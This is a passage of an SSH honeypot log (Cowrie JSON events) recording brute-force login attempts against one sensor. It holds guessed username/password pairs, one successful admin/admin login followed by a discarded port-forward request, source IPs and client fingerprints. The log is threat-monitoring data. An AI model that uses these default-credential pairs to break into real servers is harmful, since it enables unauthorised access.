{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:a4:44:d4:0e:a2:23:f1:c5:c2:48:45:53:33:19:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtBHt/KphZ5pGBYx3Zlhnl1YFciEVxOH9NnBlDCHzAcV55LOnnPs6Z8wIZGckbLcIJaFQ1jjyVn3MJsNtUK7ww47Ap2gQBIhSVgtA/P6i17zU3ynTyQJ0F/IrmoWtpVD7x0mTVN5C9uN5v6EFMFsTuYQy6bMvg4MxlG6tGbA/8S2p76gup3M+gArOpRUptmZEf7QsN21Ljakd2XlZgBLSV914FN5+y/hCgVE1LUU/k4f2k6WBZ0PhAi8Hy1D79xt3sKXqjspYn//7YKTbvgDQUR0TSZn4SUIKYzB41fEAn3sgHNmunoOa50t+zNhORRTFb5tckPTzOtxT/F6Z/w1oB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:49.632087Z","src_ip":"185.255.100.202","session":"95bcec819ceb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:e1:c9:da:19:b5:53:cf:7d:16:bb:d1:8f:a7:60:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyRX40LNE3f5lTqJi6sycTK4Qhhe6tZ0SsvuWRwbv4+Bw9yart/+hNJE5yVgvPEk0pa541EavyWSWnf8nSGPXu3JfeAaSyfg8fzMn0Tj575Kdp21krBdkm4eSjGB0rTN++vFLON8zAhKuv3A5lmCUA/muA8PMRRXovqtELHdiDC4bBz9HmcR2GjLQ8NVFk3qJAjYtVuYHiLD8W0CLvVfDhDHnYi6PIJgRMRG6/WYzEU30sW+qtsBNsAZ4GzpcxGPUyKH4b8TokM82jstvxTTKFcIuMjBOqSo7FmQAg7AL2eK6+eAQL07NQ3BUzChaareujTKtrHxVS/FoA9OUZjwmZw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:e1:c9:da:19:b5:53:cf:7d:16:bb:d1:8f:a7:60:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:49.639598Z","src_ip":"185.255.100.202","session":"95bcec819ceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:e1:c9:da:19:b5:53:cf:7d:16:bb:d1:8f:a7:60:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyRX40LNE3f5lTqJi6sycTK4Qhhe6tZ0SsvuWRwbv4+Bw9yart/+hNJE5yVgvPEk0pa541EavyWSWnf8nSGPXu3JfeAaSyfg8fzMn0Tj575Kdp21krBdkm4eSjGB0rTN++vFLON8zAhKuv3A5lmCUA/muA8PMRRXovqtELHdiDC4bBz9HmcR2GjLQ8NVFk3qJAjYtVuYHiLD8W0CLvVfDhDHnYi6PIJgRMRG6/WYzEU30sW+qtsBNsAZ4GzpcxGPUyKH4b8TokM82jstvxTTKFcIuMjBOqSo7FmQAg7AL2eK6+eAQL07NQ3BUzChaareujTKtrHxVS/FoA9OUZjwmZw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:49.642678Z","src_ip":"185.255.100.202","session":"95bcec819ceb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:72:a8:e8:80:ac:cf:d9:cf:05:cf:8b:4d:1d:ad:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5w9F6KbNCE/8tUXElkrVEi++C77nsTvkiAR9mmOJaUURCjxHVqtZGuNJkTVQ54m1SBGfGCPB3uSIMpiKwU2oXbXrPUeGvsWZZNJLo9Ls7C+NOObQuY4Mx7Iq0iyCtFMUS21JJEhn75dtAybK3Osu2goWk/HhP2J1Zt7+k+PMEeEpLA0kh/GY6bXW0ibDIz0kHcYfRFOhYnaGaDK7DlTMPL5tJgkaCseGYgEyGsSqI4Oz4LQHtnwc6nW9F3wTWKKn/ZMeh21E5b2HFkZJnrZwLsKz7zpqWe6D8qhCcFq6vsaG9vCylWTtEv6f4NnoNHQW7LqnE/Wp4cqeE22ALE2aGwx4ZJfukZf1kNrDkWGiBcUjmKx5IWJaSMM3i8PysuNi1qJMcmmG0hKRc/ZY/PNG0eTDanmGu3vcd2XtPnTDHch1wopemG+5cO61tCjmDhDvVYlyVeZZenzzmOMW6ke/qT7UVaBrxpUCkgeFKQUyScZi5Su2jiaEeGN82TapFfU8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:72:a8:e8:80:ac:cf:d9:cf:05:cf:8b:4d:1d:ad:3e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:49.650164Z","src_ip":"185.255.100.202","session":"95bcec819ceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:72:a8:e8:80:ac:cf:d9:cf:05:cf:8b:4d:1d:ad:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5w9F6KbNCE/8tUXElkrVEi++C77nsTvkiAR9mmOJaUURCjxHVqtZGuNJkTVQ54m1SBGfGCPB3uSIMpiKwU2oXbXrPUeGvsWZZNJLo9Ls7C+NOObQuY4Mx7Iq0iyCtFMUS21JJEhn75dtAybK3Osu2goWk/HhP2J1Zt7+k+PMEeEpLA0kh/GY6bXW0ibDIz0kHcYfRFOhYnaGaDK7DlTMPL5tJgkaCseGYgEyGsSqI4Oz4LQHtnwc6nW9F3wTWKKn/ZMeh21E5b2HFkZJnrZwLsKz7zpqWe6D8qhCcFq6vsaG9vCylWTtEv6f4NnoNHQW7LqnE/Wp4cqeE22ALE2aGwx4ZJfukZf1kNrDkWGiBcUjmKx5IWJaSMM3i8PysuNi1qJMcmmG0hKRc/ZY/PNG0eTDanmGu3vcd2XtPnTDHch1wopemG+5cO61tCjmDhDvVYlyVeZZenzzmOMW6ke/qT7UVaBrxpUCkgeFKQUyScZi5Su2jiaEeGN82TapFfU8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:49.653197Z","src_ip":"185.255.100.202","session":"95bcec819ceb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:5c:00:fa:85:b6:3a:6f:98:40:30:71:f0:5a:d5:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLoHexE1S4xr7nzMDQAxdpi7AUx3QgYLPPnenatSpStJOLTQxekZfBYnTW2IyL5iZe4Mq3BzC9HqBvtHf75Hti+Ayk05+Z0T8Mn9EnTIzKjw08ghHTOPSZXzbTLwliBl3xkQk/KIyYOD/94BDv6o/Ni+P0MMZZD5kbRKXvNPVOe2PVNQsUFQ70SXEBkeK22JwLsOtU3JAv9HFta8AaDgwOq6QXL4fuEkJDajB2kJ0J+jM9BZcCJwX8Z4Vsn333Xg3Mm6Cq26slghPI7aRNIIKwDWh+P2PBK/+VZxNrUGg7GmmnihJv/kTBLCU2VBXrvmWodWpFZqMBVx0auVi930yB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:5c:00:fa:85:b6:3a:6f:98:40:30:71:f0:5a:d5:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:49.661209Z","src_ip":"185.255.100.202","session":"95bcec819ceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:5c:00:fa:85:b6:3a:6f:98:40:30:71:f0:5a:d5:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLoHexE1S4xr7nzMDQAxdpi7AUx3QgYLPPnenatSpStJOLTQxekZfBYnTW2IyL5iZe4Mq3BzC9HqBvtHf75Hti+Ayk05+Z0T8Mn9EnTIzKjw08ghHTOPSZXzbTLwliBl3xkQk/KIyYOD/94BDv6o/Ni+P0MMZZD5kbRKXvNPVOe2PVNQsUFQ70SXEBkeK22JwLsOtU3JAv9HFta8AaDgwOq6QXL4fuEkJDajB2kJ0J+jM9BZcCJwX8Z4Vsn333Xg3Mm6Cq26slghPI7aRNIIKwDWh+P2PBK/+VZxNrUGg7GmmnihJv/kTBLCU2VBXrvmWodWpFZqMBVx0auVi930yB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:49.664907Z","src_ip":"185.255.100.202","session":"95bcec819ceb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:d9:cd:87:46:39:99:ac:c6:7c:84:34:ad:a4:03:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+38tzEfqssmVWbSAB5aeApxHilkzLYT3ARSMPqrK/t2TUa4Did4A+01fw8IEAJkX5ZnZGpnnWdjzKII7f4RBMF8pgjA5ZITdrFONOMkn30awhLuDTBBV6l9zdmR9+14X57SsAR7wm9Ib6v6U4k2F67uDsOLx1nrY5b8kJ4ZPtGVPLczhbOIR3CcxxSusm3wMKCviFrTfIUZ5hWsqu2osJf1K3n4w6UdqGNrk93V4c0l6YfQDs3kyyxQGWYK7QacaCQnqt7MjF5VsONM2wPaQZ9Wqe/Ybx8b1vjJ99FoKGwOjNSS9CZVkgNCX2O/csDIHozM9o1e3Xd1cq0+1dqybefPLt4pf3JSpLTEmVbaESh1jaq35qz7Tut4ugzKU/FqpLMwOWLequWI3M7iQyCaBR7xDhNEZF9CBFRlbiYU9g5cx4/NOHxi10Q3f0tYYq4XuIwhD62iClGlZlKgoYeI0KhiLyFWHgPizcXxNhnoQ7tJNL8Xo2SVB5q7d7VqF0AuU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:d9:cd:87:46:39:99:ac:c6:7c:84:34:ad:a4:03:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:49.671812Z","src_ip":"185.255.100.202","session":"95bcec819ceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:d9:cd:87:46:39:99:ac:c6:7c:84:34:ad:a4:03:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+38tzEfqssmVWbSAB5aeApxHilkzLYT3ARSMPqrK/t2TUa4Did4A+01fw8IEAJkX5ZnZGpnnWdjzKII7f4RBMF8pgjA5ZITdrFONOMkn30awhLuDTBBV6l9zdmR9+14X57SsAR7wm9Ib6v6U4k2F67uDsOLx1nrY5b8kJ4ZPtGVPLczhbOIR3CcxxSusm3wMKCviFrTfIUZ5hWsqu2osJf1K3n4w6UdqGNrk93V4c0l6YfQDs3kyyxQGWYK7QacaCQnqt7MjF5VsONM2wPaQZ9Wqe/Ybx8b1vjJ99FoKGwOjNSS9CZVkgNCX2O/csDIHozM9o1e3Xd1cq0+1dqybefPLt4pf3JSpLTEmVbaESh1jaq35qz7Tut4ugzKU/FqpLMwOWLequWI3M7iQyCaBR7xDhNEZF9CBFRlbiYU9g5cx4/NOHxi10Q3f0tYYq4XuIwhD62iClGlZlKgoYeI0KhiLyFWHgPizcXxNhnoQ7tJNL8Xo2SVB5q7d7VqF0AuU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:49.674459Z","src_ip":"185.255.100.202","session":"95bcec819ceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:18:49.680890Z","src_ip":"185.255.100.202","session":"95bcec819ceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":28790,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1961bda995a","protocol":"ssh","message":"New connection: 202.165.15.132:28790 (10.17.0.5:22) [session: e1961bda995a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:19:02.189319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:19:02.201532Z","src_ip":"202.165.15.132","session":"e1961bda995a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:19:02.445778Z","src_ip":"202.165.15.132","session":"e1961bda995a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234554321","message":"login attempt [ubuntu/1234554321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:19:03.454152Z","src_ip":"202.165.15.132","session":"e1961bda995a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:19:04.704203Z","src_ip":"202.165.15.132","session":"e1961bda995a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":40024,"dst_ip":"10.17.0.5","dst_port":22,"session":"205c1d760b8f","protocol":"ssh","message":"New connection: 87.251.64.176:40024 (10.17.0.5:22) [session: 205c1d760b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:19:10.830139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:19:10.835161Z","src_ip":"87.251.64.176","session":"205c1d760b8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:19:10.931591Z","src_ip":"87.251.64.176","session":"205c1d760b8f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:19:11.219868Z","src_ip":"87.251.64.176","session":"205c1d760b8f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:19:11.319139Z","session":"205c1d760b8f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:19:11.426741Z","src_ip":"87.251.64.176","session":"205c1d760b8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:19:11.525281Z","src_ip":"87.251.64.176","session":"205c1d760b8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":53973,"dst_ip":"10.17.0.5","dst_port":22,"session":"46c244915c28","protocol":"ssh","message":"New connection: 202.165.15.132:53973 (10.17.0.5:22) [session: 46c244915c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:00.309594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:00.321051Z","src_ip":"202.165.15.132","session":"46c244915c28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:00.562574Z","src_ip":"202.165.15.132","session":"46c244915c28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:01.560521Z","src_ip":"202.165.15.132","session":"46c244915c28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:02.805881Z","src_ip":"202.165.15.132","session":"46c244915c28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":42972,"dst_ip":"10.17.0.5","dst_port":22,"session":"25b777fbd3ca","protocol":"ssh","message":"New connection: 103.15.226.202:42972 (10.17.0.5:22) [session: 25b777fbd3ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:17.277457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:17.282941Z","src_ip":"103.15.226.202","session":"25b777fbd3ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:17.530239Z","src_ip":"103.15.226.202","session":"25b777fbd3ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Alpha123","message":"login attempt [root/Alpha123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:18.268587Z","src_ip":"103.15.226.202","session":"25b777fbd3ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:19.517215Z","src_ip":"103.15.226.202","session":"25b777fbd3ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":35896,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8227b7f80a7","protocol":"ssh","message":"New connection: 2.57.122.210:35896 (10.17.0.5:22) [session: a8227b7f80a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:27.896336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:20:28.259802Z","src_ip":"2.57.122.210","session":"a8227b7f80a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@